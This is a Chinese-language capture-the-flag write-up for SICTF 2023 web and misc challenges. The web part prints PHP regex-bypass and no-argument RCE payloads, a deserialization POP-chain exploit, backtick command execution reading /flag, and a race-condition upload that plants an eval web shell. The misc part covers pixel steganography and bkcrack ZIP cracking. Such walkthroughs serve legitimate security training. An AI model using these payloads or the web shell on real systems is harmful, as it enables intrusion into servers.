[SICTF 2023] webmisc

文章目录

  • web
    • Baby_PHP
      • 涉及知识点
    • 我全都要
    • RCE
    • 你能跟得上我的speed吗
  • misc
    • Pixel_art
    • 攻破这个压缩包!


web

Baby_PHP

涉及知识点

  1. php解析特性
  2. apache换行解析漏洞
  3. 无参RCE

源代码

 <?php
highlight_file(__FILE__);
error_reporting(0);$query = $_SERVER['QUERY_STRING'];if (preg_match('/_|%5f|\.|%2E/i', $query)) {die('You are Hacker!');
}
if($_GET['k_e_y'] !=='123' && preg_match('/^123$/',$_GET['k_e_y'])){echo("You are will Win!<br>");if(isset($_POST['command'])){$command = $_POST['command'];if(!preg_match("/\~|\`|\@|\#|\\$|\%|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$command)){eval($command);}else{echo("You are Hacker!");}}
}
else{echo("K_e_y is Errors!");
} 

简单分析一下,我们要GET传参一个值不为123且需要在首行正则匹配到123
我们可以利用php的解析特性遇到空格会被解析成下划线_,传递参数名为k e y
要绕过正则匹配,思路是换行解析漏洞
payload

?k e y=123%0a

然后第一步成功后,就是无参RCE
payload

highlight_file(next(array_reverse(scandir(current(localeconv())))));

得到flag
在这里插入图片描述

我全都要

源代码

<?php
highlight_file(__FILE__);class B{public $pop;public $i;public $nogame;public function __destruct(){if(preg_match("/233333333/",$this->pop)){echo "这是一道签到题,不能让新生一直做不出来遭受打击";}}public function game(){echo "扣1送地狱火";if ($this->i = "1"){echo '<img src=\'R.jpg\'>';$this->nogame->love();}}public function __clone(){echo "必须执行";eval($_POST["cmd"]);}
}class A{public $Aec;public $girl;public $boy;public function __toString(){echo "I also want to fall in love";if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){$this->Aec->game();}}}class P{public $MyLover;public function __call($name, $arguments){echo "有对象我会在这打CTF???看我克隆一个对象!";if ($name != "game") {echo "打游戏去,别想着对象了";$this->MyLover = clone new B;}}}if ($_GET["A_B_C"]){$poc=$_GET["A_B_C"];unserialize($poc);
} 

简单分析一下
第一个点是上传参数要运用到php解析特性
我们只需要上传参数为A B C即可绕过

再来看反序列化,出口是B.__clone(),往前推就到P.__call(),因为会执行克隆从而调用。访问不存在的方法去调用_call()再往前推有两个选择,由于要绕过_call()中的if语句,我们只能是B.game()。调用此方法往前推到A.__toString(),然后往前推是B.__destruct()
pop链子

B.__destruct() --> A.__toString() --> B.game() --> P.__call() --> B.__clone()

exp

<?php
class B{public $pop='233333333';public $i="1";public $nogame;
}class A{public $Aec;public $girl='QNKCDZO';public $boy='240610708';
}class P{public $MyLover;   
}
$a=new B();
$b=new A();
$c=new P();
$a->pop=$b;
$b->Aec=$a;
$b->Aec->nogame=$c;
echo serialize($a);
?>

得到flag
在这里插入图片描述

RCE

源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","hacker",$code);
$code = str_replace(".","hacker",$code);
eval($code);
?>

过滤了括号,那么函数就用不了
这里用反引号绕过,不过注意点是eval函数,把字符串作为PHP代码执行
payload

code=?><?=`cat /flag`;

得到flag
在这里插入图片描述

你能跟得上我的speed吗

打开题目,告诉了我们上传文件的路径
我们尝试随便上传个png图片,发现直接被删了
在这里插入图片描述结合题目名字,考点应该是文件上传之条件竞争
这里我们创建1.php,写入

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

解释:在后台删除我们上传文件的间隙写入shell.php

上传后bp抓包,清除全部payload
在这里插入图片描述设置无限上传,不停发包
在这里插入图片描述开始攻击的同时运行py脚本,用来判断是否访问成功

import requests
url = "http://210.44.151.51:10138/uploads/1.php"
while True:html = requests.get(url)if html.status_code == 200:print("OK")break

我们先开始攻击
在这里插入图片描述然后运行脚本,当出现成功时表示我们成功写入shell.php
在这里插入图片描述
然后蚁剑连接得到flag

在这里插入图片描述

misc

Pixel_art

打开附件,发现有加密,盲猜伪加密
解压后得到图片
在这里插入图片描述
用010大概看一下没啥收获
只好用stegsolve打开看看是不是lsb隐写
这里发现有png文件
在这里插入图片描述我们直接save bin保存一下,修改后缀为.png
得到一张非常小的照片
在这里插入图片描述结合题目提示,应该是要提取像素
脚本

from PIL import Imageimage = Image.open('123.png')  # 替换为你的图片文件路径
width, height = image.size
pixel_data = []for y in range(height):for x in range(width):pixel = image.getpixel((x, y))pixel_data.append(pixel)print(pixel_data)  

运行结果
在这里插入图片描述这里卡了一下,但是仔细看了下就三个数字不停重复
猜测应该是对应ascii码表

46-. 
33-!
63-?

由这三个构成那么就是Ook解码
贴个完整脚本

from PIL import Imageimage = Image.open('123.png')  # 替换为你的图片文件路径
width, height = image.size
pixel_data = []for y in range(height):for x in range(width):pixel = image.getpixel((x, y))pixel_data.append(pixel)count = 0
for i in range(len(pixel_data)):if(pixel_data[i] == (0,0,0)):breakfor j in pixel_data[i]:print(chr(j),end = "")

运行结果
在这里插入图片描述丢到在线网站解码
得到flag
在这里插入图片描述

攻破这个压缩包!

打开题目,发现是个被加密的压缩包
试了一下不是伪加密,binwalk也没分析出来
那么考虑深入明文攻击
进行深入明文攻击需要至少12个已知字节。而由于已知压缩包内为png文件,也就知道文件头:

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

所以,我们至少知道了16个准确的字节,超过了12个字节,已经满足深入明文攻击的条件了,(多的已知字节可以加快速度),接下来就使用工具即可。

bkcrack -C flag.zip -c flag.png -p key.txt -o 0

在这里插入图片描述跑了二十来分钟,出了zip的三段内部密码
直接进行解密即可
在这里插入图片描述得到一张图片
010打开,在最下面找到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/131979.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenCV Series : Target Box Outline Border

角点 P1 (255, 000, 000) P2 (000, 255, 000) P3 (000, 000, 255) P4 (000, 000, 000)垂直矩形框 rect cv2.minAreaRect(cnt)targetColor roi_colortargetThickness 1targetColor (255, 255, 255)if lineVerbose:if True:cv2.line(ph…

做机器视觉工程师,其实挺没意思的

3.康耐视VisionPro高级脚本系列教程-3.脚本编辑错误和运行错误调试方法&#xff0c;break和Contitinuee的差别_哔哩哔哩_bilibili 其实人生就是“有时有意思&#xff0c;有时没意思”。 心里有太多的不甘心&#xff0c;太多的苦水&#xff0c;是没法再吃学习的苦&#xff0c…

市场调查中的信度和效度分析原理及python实现示例

市场调查中的信度和效度分析 1.量表信度分析1.1 内部一致性信度&#xff1a;克朗巴赫α系数原理1.2 python实现示例 2.量表效度分析2.1 内容效度2.1.1 原理2.1.2 python实现示例 2.2 准则效度2.2.1 原理2.2.2 python实现示例 2.3 结构效度2.3.1 原理2.3.2 python实现示例 3.量表…

[PyTorch][chapter 54][GAN- 1]

前言&#xff1a; GAN playground: Experiment with Generative Adversarial Networks in your browser 生成对抗网络&#xff08;Generative Adversarial Nets&#xff0c;GAN&#xff09;是一种基于对抗学习的深度生成模型&#xff0c;最早由Ian Goodfellow于2014年在《Gener…

selenium.chrome怎么写扩展拦截或转发请求?

Selenium WebDriver 是一组开源 API&#xff0c;用于自动测试 Web 应用程序&#xff0c;利用它可以通过代码来控制chrome浏览器&#xff01; 有时候我们需要mock接口的返回&#xff0c;或者拦截和转发请求&#xff0c;今天就来实现这个功能。 代码已开源&#xff1a; https:/…

使用java连接Libvirtd

基于springboot web 一、依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId>&l…

用c语言编写出三底模型

以下是一个用C语言实现三底模型的示例代码。这个程序通过循环遍历输入的股票数据&#xff0c;判断是否出现三底形态&#xff0c;如果是&#xff0c;则输出买入信号&#xff0c;否则输出卖出信号。 c语言 #include <stdio.h> #include <stdlib.h> // 判断是否出现…

Java项目---图片服务器

图片服务器--->服务器&#xff08;图床&#xff09; 核心功能&#xff1a;上传图片、展示图片等 比如&#xff1a;编写博客时我们会插入图片&#xff0c;本质上是往文章中放了一个链接&#xff08;URL&#xff09;&#xff0c;这个URL资源在另外一个服务器上。 核心知识点…

FPGA 纯VHDL解码 IMX214 MIPI 视频,2路视频拼接输出,提供vivado工程源码和技术支持

目录 1、前言免责声明 2、我这里已有的 MIPI 编解码方案3、本 MIPI CSI2 模块性能及其优越性4、详细设计方案设计原理框图IMX214 摄像头及其配置D-PHY 模块CSI-2-RX 模块Bayer转RGB模块伽马矫正模块VDMA图像缓存Video Scaler 图像缓存HDMI输出 5、vivado工程详解PL端FPGA硬件设…

无涯教程-JavaScript - INFO函数

描述 INFO函数返回有关当前操作环境的信息。 语法 INFO (type_text) 争论 Argument描述Required/OptionalType_text 指定要返回的信息类型的文本。 下表给出了Type_text的值和相应的返回信息。 Required Type_text 返回的信息"目录" 当前目录或文件夹的路径。&qu…

【Proteus仿真】【STM32单片机】四驱寻迹避障小车

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 系统运行后&#xff0c;LCD1602显示红外、超声波检测状态和距离、小车运行状态。可通过K1键可手动切换模式&#xff0c;寻迹、避障、蓝牙遥控&#xff1b;也可通过蓝牙发送指令切换模式&#xff1b; 当处…

系统架构设计之道,论如何构建一个资金账户系统

&#x1f449;导读 资金账户是互联网和金融业务中非常常见的系统&#xff0c;尤其是在电商、支付等业务中必不可少。资金账户系统本身其核心模块的整体架构往往并不复杂&#xff0c;但其对于资金安全和可用性的要求非常高&#xff0c;导致建设好一个资金账户系统并不容易。本文…

【Spring Boot】有这一文就够了

作者简介 前言 作者之前写过一个Spring Boot的系列&#xff0c;包含自动装配原理、MVC、安全、监控、集成数据库、集成Redis、日志、定时任务、异步任务等内容&#xff0c;本文将会一文拉通来总结这所有内容&#xff0c;不骗人&#xff0c;一文快速入门Spring Boot。 专栏地址…

MySQL安装validate_password_policy插件

功能介绍 validate_password_policy 是插件用于验证密码强度的策略。该参数可以设定三种级别&#xff1a;0代表低&#xff0c;1代表中&#xff0c;2代表高。 validate_password_policy 主要影响密码的强度检查级别&#xff1a; 0/LOW&#xff1a;只检查密码长度。 1/MEDIUM&am…

YashanDB:潜心实干,数据库核心技术突破没有捷径可走

都说数据库是三大基础软件中的一块硬骨头&#xff0c;技术门槛高、研发周期长、工程要求高&#xff0c;市场长期被几大巨头所把持。 因此&#xff0c;实现突破一直是中国数据库产业的夙愿。自上个世纪80年代起&#xff0c;中国数据库产业走过艰辛坎坷的四十余载&#xff0c;终…

vue组件库开发,webpack打包,发布npm

做一个像elment-ui一样的vue组件库 那多好啊&#xff01;这是我前几年就想做的 但webpack真的太难用&#xff0c;也许是我功力不够 今天看到一个视频&#xff0c;早上6-13点&#xff0c;终于实现了&#xff0c;呜呜 感谢视频的分享-来龙去脉-大家可以看这个视频&#xff1a;htt…

美东一公司的郁闷面试题

说是题目可以用不同的语言&#xff0c;但是貌似 Java 是多线程的&#xff0c;用 Java 写肯定容易不少。 但&#xff0c;觉得这个题目用多线程简直是有点脱了裤子放屁。 完整题目内容 题目的网站内容如下&#xff1a; Please complete the following challenge in one of th…

【自动驾驶决策规划】POMDP之Introduction

文章目录 前言Markov PropertyMarkov ChainHidden Markov ModelMarkov Decision ProcessPartially Observable Markov Decision ProcessBackground on Solving POMDPsPOMDP Value Iteration Example 推荐阅读与参考 前言 本文是我学习POMDP相关的笔记&#xff0c;由于个人能力…

2024字节跳动校招面试真题汇总及其解答(一)

1. 【算法题】重排链表 给定一个单链表 L 的头节点 head ,单链表 L 表示为: L0 → L1 → … → Ln - 1 → Ln请将其重新排列后变为: L0 → Ln → L1 → Ln - 1 → L2 → Ln - 2 → … 不能只是单纯的改变节点内部的值,而是需要实际的进行节点交换。 示例 1: 输入:hea…

Kafka3.0.0版本——消费者(自动提交 offset)

目录 一、自动提交offset的相关参数二、消费者&#xff08;自动提交 offset&#xff09;代码示例 一、自动提交offset的相关参数 官网文档 参数解释 参数描述enable.auto.commi默认值为 true&#xff0c;消费者会自动周期性地向服务器提交偏移量。auto.commit.interval.ms如果…